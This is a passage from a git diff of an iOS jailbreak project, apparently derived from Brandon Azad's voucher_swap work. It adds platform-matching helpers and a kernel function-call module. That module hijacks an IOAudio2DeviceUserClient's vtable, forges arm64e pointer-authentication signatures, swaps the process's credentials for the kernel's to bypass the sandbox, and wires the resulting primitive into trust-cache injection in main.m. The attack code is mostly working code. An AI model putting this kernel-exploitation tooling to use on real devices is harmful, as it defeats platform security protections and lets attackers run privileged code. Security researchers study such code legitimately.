HOST_BASIC_INFO, (host_info_t) &basic_info, &count); + assert(kr == KERN_SUCCESS); + platform.cpu_type = basic_info.cpu_type; + platform.cpu_subtype = basic_info.cpu_subtype; + platform.physical_cpu = basic_info.physical_cpu; + platform.logical_cpu = basic_info.logical_cpu; + platform.memory_size = basic_info.max_mem; + INFO("memory_size: %zu", platform.memory_size); + mach_port_deallocate(mach_task_self(), host); + // Log basic platform info. + DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion); +} diff --git a/kernel_call/platform.h b/kernel_call/platform.h new file mode 100755 index 0000000..87ab62e --- /dev/null +++ b/kernel_call/platform.h @@ -0,0 +1,99 @@ +/* + * platform.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__PLATFORM_H_ +#define VOUCHER_SWAP__PLATFORM_H_ + +#include +#include + +#ifdef PLATFORM_EXTERN +#define extern PLATFORM_EXTERN +#endif + +/* + * platform + * + * Description: + * Basic information about the platform. + */ +struct platform { + /* + * platform.machine + * + * Description: + * The name of the platform, e.g. iPhone11,8. + */ + const char machine[32]; + /* + * platform.osversion + * + * Description: + * The version of the OS build, e.g. 16C50. + */ + const char osversion[32]; + /* + * platform.cpu_type + * + * Description: + * The platform CPU type. + */ + cpu_type_t cpu_type; + /* + * platform.cpu_subtype + * + * Description: + * The platform CPU subtype. + */ + cpu_subtype_t cpu_subtype; + /* + * platform.physical_cpu + * + * Description: + * The number of physical CPU cores. + */ + unsigned physical_cpu; + /* + * platform.logical_cpu + * + * Description: + * The number of logical CPU cores. + */ + unsigned logical_cpu; + /* + * platform.page_size + * + * Description: + * The kernel page size. + */ + size_t page_size; + /* + * platform.memory_size + * + * Description: + * The size of physical memory on the device. + */ + size_t memory_size; +}; +extern struct platform platform; + +/* + * page_size + * + * Description: + * The kernel page size on this platform, made available globally for convenience. + */ +extern size_t page_size; + +/* + * platform_init + * + * Description: + * Initialize the platform. + */ +void platform_init(void); + +#undef extern + +#endif diff --git a/kernel_call/platform_match.c b/kernel_call/platform_match.c new file mode 100755 index 0000000..8226be5 --- /dev/null +++ b/kernel_call/platform_match.c @@ -0,0 +1,346 @@ +/* + * platform_match.c + * Brandon Azad + */ +#include "platform_match.h" + +#include +#include + +#include "log.h" +#include "platform.h" + +// ---- Matching helper functions ----------------------------------------------------------------- + +// Advance past any spaces in a string. +static void +skip_spaces(const char **p) { + const char *pch = *p; + while (*pch == ' ') { + pch++; + } + *p = pch; +} + +// ---- Device matching --------------------------------------------------------------------------- + +// A wildcard device version number. +#define ANY ((unsigned)(-1)) + +// Parse the version part of a device string. +static bool +parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor, + bool allow_wildcard, const char **end) { + const char *p = device_version; + // Parse the major version, which might be a wildcard. + unsigned maj = 0; + if (allow_wildcard && *p == '*') { + maj = ANY; + p++; + } else { + for (;;) { + char ch = *p; + if (ch < '0' || '9' < ch) { + break; + } + maj = maj * 10 + (ch - '0'); + p++; + } + } + // Make sure we got the comma. + if (*p != ',') { + return false; + } + p++; + // Parse the minor version, which might be a wildcard. + unsigned min = 0; + if (allow_wildcard && *p == '*') { + min = ANY; + p++; + } else { + for (;;) { + char ch = *p; + if (ch < '0' || '9' < ch) { + break; + } + min = min * 10 + (ch - '0'); + p++; + } + } + // If end is NULL, then require that we're at the end of the string. Else, return the end + // of what we parsed. + if (end == NULL) { + if (*p != 0) { + return false; + } + } else { + *end = p; + } + // Return the values. + *major = maj; + *minor = min; + return true; +} + +// Parse a device name. +static bool +parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor, + bool allow_wildcard, const char **end) { + // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY + // If this device name doesn't have a comma then we don't know how to parse it. Just set + // the whole thing as the device type. + const char *comma = strchr(device, ','); + if (comma == NULL) { +unknown: + strcpy(device_type, device); + *major = 0; + *minor = 0; + return false; + } + // Walk backwards from the comma to the start of the major version. + if (comma == device) { + goto unknown; + } + const char *p = comma; + for (;;) { + char ch = *(p - 1); + if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) { + break; + } + p--; + if (p == device) { + goto unknown; + } + } + if (p == comma) { + goto unknown; + } + size_t device_type_length = p - device; + // Parse the version numbers. + bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end); + if (!ok) { + goto unknown; + } + // Return the device_type string. This is last in case it's shared with the device string. + strncpy(device_type, device, device_type_length); + device_type[device_type_length] = 0; + return true; +} + +// Parse a device name. +static bool +parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) { + return parse_device_internal(device, device_type, major, minor, false, NULL); +} + +// Parse a device range string. +static bool +parse_device_range(const char *device, char *device_type, + unsigned *min_major, unsigned *min_minor, + unsigned *max_major, unsigned *max_minor, + const char **end) { + char dev_type[32]; + const char *next = device; + // First parse a full device. + bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next); + if (!ok) { +unknown: + strcpy(device_type, device); + *min_major = 0; + *min_minor = 0; + *max_major = 0; + *max_minor = 0; + return false; + } + // Optionally parse a separator and more versions. + if (*next == 0) { + *max_major = *min_major; + *max_minor = *min_minor; + } else if (*next == '-') { + next++; + ok = parse_device_version_internal(next, max_major, max_minor, true, &next); + if (!ok) { + goto unknown; + } + } + *end = next; + // Return the device_type. + strcpy(device_type, dev_type); + return true; +} + +// Check if the given device number is numerically within range. +static bool +numerical_device_match(unsigned major, unsigned minor, + unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) { + if (major < min_major && min_major != ANY) { + return false; + } + if ((major == min_major || min_major == ANY) + && minor < min_minor && min_minor != ANY) { + return false; + } + if (major > max_major && max_major != ANY) { + return false; + } + if ((major == max_major || max_major == ANY) + && minor > max_minor && max_minor != ANY) { + return false; + } + return true; +} + +// Match a specific device against a device match list. +static bool +match_device(const char *device, const char *devices) { + if (devices == NULL || strcmp(devices, "*") == 0) { + return true; + } + // Parse this device. + char device_type[32]; + unsigned major, minor; + parse_device(device, device_type, &major, &minor); + // Parse the match list. + const char *next = devices; + while (*next != 0) { + // Parse the next device range. + char match_device_type[32]; + unsigned min_major, min_minor, max_major, max_minor; + parse_device_range(next, match_device_type, &min_major, &min_minor, + &max_major, &max_minor, &next); + if (*next != 0) { + skip_spaces(&next); + assert(*next == '|'); + next++; + skip_spaces(&next); + assert(*next != 0); + } + // Check if this is a match. + if (strcmp(device_type, match_device_type) == 0 + && numerical_device_match(major, minor, + min_major, min_minor, max_major, max_minor)) { + return true; + } + } + return false; +} + +// ---- Build matching ---------------------------------------------------------------------------- + +// Parse a build version string into a uint64_t. Maintains comparison order. +static uint64_t +parse_build_version(const char *build, const char **end) { + // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte] + const char *p = build; + // Parse out the major number. + uint64_t major = 0; + for (;;) { + char ch = *p; + if (ch < '0' || '9' < ch) { + break; + } + major = major * 10 + (ch - '0'); + p++; + } + // Parse out the minor. + uint64_t minor = 0; + for (;;) { + char ch = *p; + if (ch < 'A' || 'Z' < ch) { + break; + } + minor = (minor << 8) + ch; + p++; + } + // Parse out the patch. + uint64_t patch = 0; + for (;;) { + char ch = *p; + if (ch < '0' || '9' < ch) { + break; + } + patch = patch * 10 + (ch - '0'); + p++; + } + // Parse out the alpha. + uint64_t alpha = 0; + for (;;) { + char ch = *p; + if (ch < 'a' || 'z' < ch) { + break; + } + alpha = (alpha << 8) + ch; + p++; + } + // Construct the full build version. + if (end != NULL) { + *end = p; + } + return ((major << (8 * 5)) + | (minor << (8 * 4)) + | (patch << (8 * 1)) + | (alpha << (8 * 0))); +} + +// Parse a build version range string. +static void +parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) { + const char *next = builds; + uint64_t min, max; + // Parse the lower range. + if (*next == '*') { + min = 0; + next++; + } else { + min = parse_build_version(next, &next); + } + // Parse the upper range (if it exists). + if (*next == 0) { + assert(min != 0); + max = min; + } else { + skip_spaces(&next); + assert(*next == '-'); + next++; + skip_spaces(&next); + if (*next == '*') { + max = (uint64_t)(-1); + next++; + } else { + max = parse_build_version(next, &next); + } + assert(*next == 0); + } + *version_min = min; + *version_max = max; +} + +// Check if the given build version string matches the build range. +static bool +match_build(const char *build, const char *builds) { + if (builds == NULL || strcmp(builds, "*") == 0) { + return true; + } + uint64_t version = parse_build_version(build, NULL); + uint64_t version_min, version_max; + parse_build_version_range(builds, &version_min, &version_max); + return (version_min <= version && version <= version_max); +} + +// ---- Public API -------------------------------------------------------------------------------- + +bool +platform_matches_device(const char *device_range) { + return match_device(platform.machine, device_range); +} + +bool +platform_matches_build(const char *build_range) { + return match_build(platform.osversion, build_range); +} + +bool +platform_matches(const char *device_range, const char *build_range) { + return platform_matches_device(device_range) + && platform_matches_build(build_range); +} diff --git a/kernel_call/platform_match.h b/kernel_call/platform_match.h new file mode 100755 index 0000000..18479a8 --- /dev/null +++ b/kernel_call/platform_match.h @@ -0,0 +1,62 @@ +/* + * platform_match.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_ +#define VOUCHER_SWAP__PLATFORM_MATCH_H_ + +#include + +/* + * platform_matches_device + * + * Description: + * Check whether the current platform matches the specified device or range of devices. + * + * Match format: + * The match string may either specify a single device glob or a range of device globs. For + * example: + * + * "iPhone11,8" Matches only iPhone11,8 + * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4. + * "iPhone*,*" Matches all iPhone devices. + * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive. + * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices. + * + * As a special case, "*" matches all devices. + */ +bool platform_matches_device(const char *device_range); + +/* + * platform_matches_build + * + * Description: + * Check whether the current platform matches the specified build version or range of build + * versions. + * + * Match format: + * The match string may either specify a single build version or a range of build versions. + * For example: + * + * "16C50" Matches only build 16C50. + * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive. + * + * As a special case, either build version may be replaced with "*" to indicate a lack of + * lower or upper bound: + * + * "*-16B92" Matches all builds up to and including 16B92. + * "16C50-*" Matches build 16C50 and later. + * "*" Matches all build versions. + */ +bool platform_matches_build(const char *build_range); + +/* + * platform_matches + * + * Description: + * A convenience function that combines platform_matches_device() and + * platform_matches_build(). + */ +bool platform_matches(const char *device_range, const char *build_range); + +#endif diff --git a/kernel_call/user_client.c b/kernel_call/user_client.c new file mode 100755 index 0000000..24f5f57 --- /dev/null +++ b/kernel_call/user_client.c @@ -0,0 +1,363 @@ +/* + * kernel_call/user_client.c + * Brandon Azad + */ +#include "user_client.h" + +#include + +#include "IOKitLib.h" +#include "kernel_call.h" +#include "kc_parameters.h" +#include "pac.h" +#include "kernel_memory.h" +#include "kernel_slide.h" +#include "log.h" +#include "mach_vm.h" +#include "parameters.h" + +// ---- Global variables -------------------------------------------------------------------------- + +// The connection to the user client. +static io_connect_t connection; + +// The address of the user client. +static uint64_t user_client; + +// The address of the IOExternalTrap. +static uint64_t trap; + +// The size of our kernel buffer. +static const size_t kernel_buffer_size = 0x4000; + +// The address of our kernel buffer. +static uint64_t kernel_buffer; + +// The maximum size of the vtable. +static const size_t max_vtable_size = 0x1000; + +// The user client's original vtable pointer. +static uint64_t original_vtable; + +// ---- Stage 1 ----------------------------------------------------------------------------------- + +/* + * kernel_get_proc_for_task + * + * Description: + * Get the proc struct for a task. + */ +static uint64_t +kernel_get_proc_for_task(uint64_t task) { + return kernel_read64(task + OFFSET(task, bsd_info)); +} + +/* + * stage0_create_user_client + * + * Description: + * Create a connection to an IOAudio2DeviceUserClient object. + */ +static bool +stage0_create_user_client() { + bool success = false; + // First get a handle to some IOAudio2Device driver. + io_iterator_t iter; + kern_return_t kr = IOServiceGetMatchingServices( + kIOMasterPortDefault, + IOServiceMatching("IOAudio2Device"), + &iter); + if (iter == MACH_PORT_NULL) { + ERROR("could not find services matching %s", "IOAudio2Device"); + goto fail_0; + } + // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be + // denied with a sandbox error. + uint64_t ucred_field, ucred; + assume_kernel_credentials(&ucred_field, &ucred); + // Now try to open each service in turn. + for (;;) { + // Get the service. + mach_port_t IOAudio2Device = IOIteratorNext(iter); + if (IOAudio2Device == MACH_PORT_NULL) { + ERROR("could not open any %s", "IOAudio2Device"); + break; + } + // Now open a connection to it. + kr = IOServiceOpen( + IOAudio2Device, + mach_task_self(), + 0, + &connection); + IOObjectRelease(IOAudio2Device); + if (kr == KERN_SUCCESS) { + success = true; + break; + } + DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr)); + DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient"); + } + // Restore the credentials. + restore_credentials(ucred_field, ucred); +fail_1: + IOObjectRelease(iter); +fail_0: + return success; +} + +/* + * stage0_find_user_client_trap + * + * Description: + * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap. + */ +static void +stage0_find_user_client_trap() { + assert(MACH_PORT_VALID(connection)); + // Get the address of the port representing the IOAudio2DeviceUserClient. + uint64_t user_client_port; + bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL); + assert(ok); + // Get the address of the IOAudio2DeviceUserClient. + user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject)); + // Get the address of the IOExternalTrap. + trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps)); + DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap); +} + +/* + * stage0_allocate_kernel_buffer + * + * Description: + * Allocate a buffer in kernel memory. + */ +static bool +stage0_allocate_kernel_buffer() { + kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer, + kernel_buffer_size, VM_FLAGS_ANYWHERE); + if (kr != KERN_SUCCESS) { + ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr)); + ERROR("could not allocate kernel buffer"); + return false; + } + DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer); + return true; +} + +// ---- Stage 3 ----------------------------------------------------------------------------------- + +/* + * kernel_read_vtable_method + * + * Description: + * Read the virtual method pointer at the specified index in the vtable. + */ +static uint64_t +kernel_read_vtable_method(uint64_t vtable, size_t index) { + uint64_t vmethod_address = vtable + index * sizeof(uint64_t); + return kernel_read64(vmethod_address); +} + +/* + * stage2_copyout_user_client_vtable + * + * Description: + * Copy out the user client's vtable to userspace. The returned array must be freed when no + * longer needed. + */ +static uint64_t * +stage2_copyout_user_client_vtable() { + // Get the address of the vtable. + original_vtable = kernel_read64(user_client); + uint64_t original_vtable_xpac = kernel_xpacd(original_vtable); + // Read the contents of the vtable to local buffer. + uint64_t *vtable_contents = malloc(max_vtable_size); + assert(vtable_contents != NULL); + kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size); + return vtable_contents; +} + +/* + * stage2_patch_user_client_vtable + * + * Description: + * Patch the contents of the user client's vtable in preparation for stage 3. + */ +static size_t +stage2_patch_user_client_vtable(uint64_t *vtable) { + // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the + // original version (which calls IOUserClient::getExternalTrapForIndex()). + uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method( + ADDRESS(IOUserClient__vtable), + VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)); + vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)] + = IOUserClient__getTargetAndTrapForIndex; + // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with + // IORegistryEntry::getRegistryEntryID(). + vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] = + ADDRESS(IORegistryEntry__getRegistryEntryID); + // Forge the pacia pointers to the virtual methods. + size_t count = 0; + for (; count < max_vtable_size / sizeof(*vtable); count++) { + uint64_t vmethod = vtable[count]; + if (vmethod == 0) { + break; + } +#if __arm64e__ + assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count); + vmethod = kernel_xpaci(vmethod); + uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable); + vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address, + VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]); +#endif // __arm64e__ + } + return count; +} + +/* + * stage2_patch_user_client + * + * Description: + * Patch the user client in preparation for stage 3. + */ +static void +stage2_patch_user_client(uint64_t *vtable, size_t count) { + // Write the vtable to the kernel buffer. + kernel_write(kernel_buffer, vtable, count * sizeof(*vtable)); + // Overwrite the user client's registry entry ID to point to the IOExternalTrap. + uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved); + uint64_t reserved = kernel_read64(reserved_field); + uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); + kernel_write64(id_field, trap); + // Forge the pacdza pointer to the vtable. + uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0); + // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable. + kernel_write64(user_client, vtable_pointer); +} + +/* + * stage2_unpatch_user_client + * + * Description: + * Undo the patches to the user client. + */ +static void +stage2_unpatch_user_client() { + // Write the original vtable pointer back to the user client. + kernel_write64(user_client, original_vtable); +} + +// ---- API --------------------------------------------------------------------------------------- + +bool +stage1_kernel_call_init() { + // Initialize the parameters. We do this first to fail early. + bool ok = kernel_call_parameters_init(); + if (!ok) { + return false; + } + // Create the IOAudio2DeviceUserClient. + ok = stage0_create_user_client(); + if (!ok) { + ERROR("could not create %s", "IOAudio2DeviceUserClient"); + return false; + } + // Find the IOAudio2DeviceUserClient's IOExternalTrap. + stage0_find_user_client_trap(); + // Allocate the kernel buffer. + ok = stage0_allocate_kernel_buffer(); + if (!ok) { + return false; + } + return true; +} + +void +stage1_kernel_call_deinit() { + if (trap != 0) { + // Zero out the trap. + uint8_t trap_data[SIZE(IOExternalTrap)]; + memset(trap_data, 0, SIZE(IOExternalTrap)); + kernel_write(trap, trap_data, SIZE(IOExternalTrap)); + trap = 0; + } + if (kernel_buffer != 0) { + // Deallocate our kernel buffer. + mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size); + kernel_buffer = 0; + } + if (MACH_PORT_VALID(connection)) { + // Close the connection. + IOServiceClose(connection); + connection = MACH_PORT_NULL; + } +} + +uint64_t +stage1_get_kernel_buffer() { + assert(kernel_buffer_size >= 0x2000); + return kernel_buffer + kernel_buffer_size - 0x1000; +} + +uint32_t +stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { + assert(function != 0); + assert(argument_count <= 7); + assert(argument_count == 0 || arguments[0] != 0); + assert(MACH_PORT_VALID(connection) && trap != 0); + // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments. + uint64_t args[7] = { 1 }; + for (size_t i = 0; i < argument_count && i < 7; i++) { + args[i] = arguments[i]; + } + // Initialize the IOExternalTrap for this call. + uint8_t trap_data[SIZE(IOExternalTrap)]; + FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0]; + FIELD(trap_data, IOExternalTrap, function, uint64_t) = function; + FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0; + kernel_write(trap, trap_data, SIZE(IOExternalTrap)); + // Perform the function call. + uint32_t result = IOConnectTrap6(connection, 0, + args[1], args[2], args[3], args[4], args[5], args[6]); + return result; +} + +bool +stage3_kernel_call_init() { + uint64_t *vtable = stage2_copyout_user_client_vtable(); + size_t count = stage2_patch_user_client_vtable(vtable); + stage2_patch_user_client(vtable, count); + free(vtable); + return true; +} + +void +stage3_kernel_call_deinit() { + if (original_vtable != 0) { + stage2_unpatch_user_client(); + original_vtable = 0; + } +} + +uint32_t +kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { + return stage2_kernel_call_7v(function, argument_count, arguments); +} + +void +assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) { + uint64_t proc_self = kernel_get_proc_for_task(current_task); + uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task); + uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred); + uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred); + uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field); + uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field); + kernel_write64(proc_self_ucred_field, kernel_proc_ucred); + *ucred_field = proc_self_ucred_field; + *ucred = proc_self_ucred; +} + +void +restore_credentials(uint64_t ucred_field, uint64_t ucred) { + kernel_write64(ucred_field, ucred); +} diff --git a/kernel_call/user_client.h b/kernel_call/user_client.h new file mode 100755 index 0000000..81c373d --- /dev/null +++ b/kernel_call/user_client.h @@ -0,0 +1,91 @@ +/* + * kernel_call/user_client.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ +#define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ + +#include +#include +#include + +/* + * stage1_kernel_call_init + * + * Description: + * Initialize stage 1 of kernel function calling. + * + * Initializes: + * kernel_call_parameters_init() + * stage1_kernel_call_7v() + */ +bool stage1_kernel_call_init(void); + +/* + * stage1_kernel_call_deinit + * + * Description: + * Deinitialize stage 1 of kernel function calling. + */ +void stage1_kernel_call_deinit(void); + +/* + * stage1_get_kernel_buffer + * + * Description: + * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other + * stages. + */ +uint64_t stage1_get_kernel_buffer(void); + +/* + * stage1_kernel_call_7v + * + * Description: + * Call a kernel function using our stage 1 execute primitive. + * + * Restrictions: + * At most 7 arguments can be passed. + * The return value is truncated to 32 bits. + * At stage 1, only arguments X1 - X6 are controlled. + * The function pointer must already have a PAC signature. + */ +uint32_t stage1_kernel_call_7v(uint64_t function, + size_t argument_count, const uint64_t arguments[]); + +/* + * stage3_kernel_call_init + * + * Description: + * Initialize stage 3 of kernel function calling. + * + * Initializes: + * kernel_call_7v() + */ +bool stage3_kernel_call_init(void); + +/* + * stage3_kernel_call_deinit + * + * Description: + * Deinitialize stage 3 of kernel function calling. + */ +void stage3_kernel_call_deinit(void); + +/* + * assume_kernel_credentials + * + * Description: + * Set this process's credentials to the kernel's credentials so that we can bypass sandbox + * checks. + */ +void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred); +/* + * restore_credentials + * + * Description: + * Restore this process's credentials after calling assume_kernel_credentials(). + */ +void restore_credentials(uint64_t ucred_field, uint64_t ucred); + +#endif diff --git a/main.m b/main.m index de107ff..b342996 100644 --- a/main.m +++ b/main.m @@ -6,6 +6,7 @@ * */ +#include #include #include #include @@ -13,7 +14,12 @@ #include "CSCommon.h" #include "kern_funcs.h" #include "inject.h" +#include "kernel_call.h" +#include "parameters.h" +#include "kc_parameters.h" +#include "kernel_memory.h" +#define PF(x) SETOFFSET(x, find_ ## x ()) mach_port_t try_restore_port() { mach_port_t port = MACH_PORT_NULL; @@ -39,28 +45,51 @@ int main(int argc, char* argv[]) { if (tfp0 == MACH_PORT_NULL) return -2; set_tfp0(tfp0); - uint64_t kernel_base = 0; struct task_dyld_info dyld_info = { 0 }; mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; if (task_info(tfp0, TASK_DYLD_INFO, (task_info_t)&dyld_info, &count) != KERN_SUCCESS || - (kernel_base = dyld_info.all_image_info_addr) == 0) { + (kernel_base = dyld_info.all_image_info_addr) == 0 || + (kernel_slide = dyld_info.all_image_info_size) == 0) { return -3; } init_kernel(kread, kernel_base, NULL); uint64_t trust_chain = find_trustcache(); + PF(trustcache); + PF(kernel_task); + PF(pmap_load_trust_cache); +#if __arm64e__ + PF(paciza_pointer__l2tp_domain_module_start); + PF(paciza_pointer__l2tp_domain_module_stop); + PF(l2tp_domain_inited); + PF(sysctl__net_ppp_l2tp); + PF(sysctl_unregister_oid); + PF(mov_x0_x4__br_x5); + PF(mov_x9_x0__br_x1); + PF(mov_x10_x3__br_x6); + PF(kernel_forge_pacia_gadget); + PF(kernel_forge_pacda_gadget); +#endif + PF(IOUserClient__vtable); + PF(IORegistryEntry__getRegistryEntryID); term_kernel(); + parameters_init(); + kernel_task_port = tfp0; + current_task = rk64(task_self_addr() + OFFSET(ipc_port, ip_kobject)); + kernel_task = rk64(GETOFFSET(kernel_task)); + kernel_call_init(); printf("Injecting to trust cache...\n"); @autoreleasepool { NSMutableArray *files = [NSMutableArray new]; for (int i=1; i -#include -#include -#include -#include -#include -#include -#include -#include "kmem.h" - -typedef unsigned long long addr_t; - -#define IS64(image) (*(uint8_t *)(image) & 1) - -#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) - -#define REAL_ADDR(x) ((uint64_t)x + (uint64_t)kernel - (uint64_t)kernel_mh + (uint64_t)0xFFFFFFF007004000) - -/* generic stuff *************************************************************/ - -#define UCHAR_MAX 255 - -static unsigned char * -boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, - const unsigned char* needle, size_t nlen) -{ - size_t last, scan = 0; - size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: - * bad character shift */ - - /* Sanity checks on the parameters */ - if (nlen <= 0 || !haystack || !needle) - return NULL; - - /* ---- Preprocess ---- */ - /* Initialize the table to default value */ - /* When a character is encountered that does not occur - * in the needle, we can safely skip ahead for the whole - * length of the needle. - */ - for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) - bad_char_skip[scan] = nlen; - - /* C arrays have the first byte at [0], therefore: - * [nlen - 1] is the last byte of the array. */ - last = nlen - 1; - - /* Then populate it with the analysis of the needle */ - for (scan = 0; scan < last; scan = scan + 1) - bad_char_skip[needle[scan]] = last - scan; - - /* ---- Do the matching ---- */ - - /* Search the haystack, while the needle can still be within it. */ - while (hlen >= nlen) - { - /* scan from the end of the needle */ - for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) - if (scan == 0) /* If the first byte matches, we've found it. */ - return (void *)haystack; - - /* otherwise, we need to skip some bytes and start again. - Note that here we are getting the skip value based on the last byte - of needle, no matter where we didn't match. So if needle is: "abcd" - then we are skipping based on 'd' and that value will be 4, and - for "abcdd" we again skip on 'd' but the value will be only 1. - The alternative of pretending that the mismatched character was - the last character is slower in the normal case (E.g. finding - "abcd" in "...azcd..." gives 4 by using 'd' but only - 4-2==2 using 'z'. */ - hlen -= bad_char_skip[haystack[last]]; - haystack += bad_char_skip[haystack[last]]; - } - - return NULL; -} - -/* disassembler **************************************************************/ - -/* -static int HighestSetBit(int N, uint32_t imm) -{ - int i; - for (i = N - 1; i >= 0; i--) { - if (imm & (1 << i)) { - return i; - } - } - return -1; -} - -static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width -{ - (void)N; - return ((uint64_t)1 << M) - 1; -} - -static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R) -{ - uint64_t val = ZeroExtendOnes(M, N); - if (R == 0) { - return val; - } - return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R)); -} - -static uint64_t Replicate(uint64_t val, unsigned bits) -{ - uint64_t ret = val; - unsigned shift; - for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64 - ret |= (val << shift); - } - return ret; -} - -static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval) -{ - unsigned levels, S, R, esize; - int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F)); - if (len < 1) { - return -1; - } - levels = (unsigned int)ZeroExtendOnes(len, 6); - if (immediate && (imms & levels) == levels) { - return -1; - } - S = imms & levels; - R = immr & levels; - esize = 1 << len; - *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize); - return 0; -} - -static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval) -{ - unsigned o = (opcode >> 29) & 3; - unsigned k = (opcode >> 23) & 0x3F; - unsigned rn, rd; - uint64_t i; - - if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate) - unsigned s = (opcode >> 31) & 1; - unsigned N = (opcode >> 22) & 1; - if (s == 0 && N != 0) { - return -1; - } - rn = (opcode >> 5) & 0x1F; - if (rn == 31) { - unsigned imms = (opcode >> 10) & 0x3F; - unsigned immr = (opcode >> 16) & 0x3F; - return DecodeBitMasks(N, imms, immr, 1, newval); - } - } else if (k == 0x25) { // MOVN/MOVZ/MOVK - unsigned s = (opcode >> 31) & 1; - unsigned h = (opcode >> 21) & 3; - if (s == 0 && h > 1) { - return -1; - } - i = (opcode >> 5) & 0xFFFF; - h *= 16; - i <<= h; - if (o == 0) { // MOVN - *newval = ~i; - return 0; - } else if (o == 2) { // MOVZ - *newval = i; - return 0; - } else if (o == 3 && !first) { // MOVK - *newval = (total & ~((uint64_t)0xFFFF << h)) | i; - return 0; - } - } else if ((k | 1) == 0x23 && !first) { // ADD (immediate) - unsigned h = (opcode >> 22) & 3; - if (h > 1) { - return -1; - } - rd = opcode & 0x1F; - rn = (opcode >> 5) & 0x1F; - if (rd != rn) { - return -1; - } - i = (opcode >> 10) & 0xFFF; - h *= 12; - i <<= h; - if (o & 2) { // SUB - *newval = total - i; - return 0; - } else { // ADD - *newval = total + i; - return 0; - } - } - - return -1; -} - -*/ -/* patchfinder ***************************************************************/ - -static addr_t -step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) -{ - addr_t end = start + length; - while (start < end) { - uint32_t x = *(uint32_t *)(buf + start); - if ((x & mask) == what) { - return start; - } - start += 4; - } - return 0; -} - -static addr_t -step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) -{ - addr_t end = start - length; - while (start >= end) { - uint32_t x = *(uint32_t *)(buf + start); - if ((x & mask) == what) { - return start; - } - start -= 4; - } - return 0; -} - -static addr_t -bof64(const 